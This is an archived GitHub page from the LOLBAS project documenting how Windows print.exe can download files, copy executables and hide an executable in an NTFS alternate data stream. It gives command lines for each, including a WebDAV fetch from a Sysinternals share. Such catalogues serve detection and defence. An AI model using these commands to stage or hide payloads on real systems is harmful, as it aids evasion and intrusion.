Skip to content
This repository has been archived by the owner on Dec 11, 2018. It is now read-only.

Latest commit

 

History

History
40 lines (28 loc) · 1.08 KB

Print.md

File metadata and controls

40 lines (28 loc) · 1.08 KB

UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.

New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/

Print.exe

  • Functions: Download, Copy, Add ADS
print /D:c:\ads\file.txt:file.exe c:\ads\file.exe     
     
print /D:C:\ads\CopyOfFile.exe C:\ads\FileToCopy.exe

print /D:c:\outfolder\outfile.exe \\webdavserver\folder\file.exe     

Acknowledgements:

  • Oddvar Moe - @oddvarmoe

Code sample: *

Resources:

Full path:

c:\windows\system32\print.exe
c:\windows\sysWOW64\print.exe

Notes: Please note for example three: The oufolder needs to exist and the outfile.exe can't exist. Additionally webclient needs to be running

(from an administrator prompt)
net start webclient && print /D:c:\outfolder\outfile.exe \\live.sysinternals.com\tools\adexplorer.exe && net stop webclient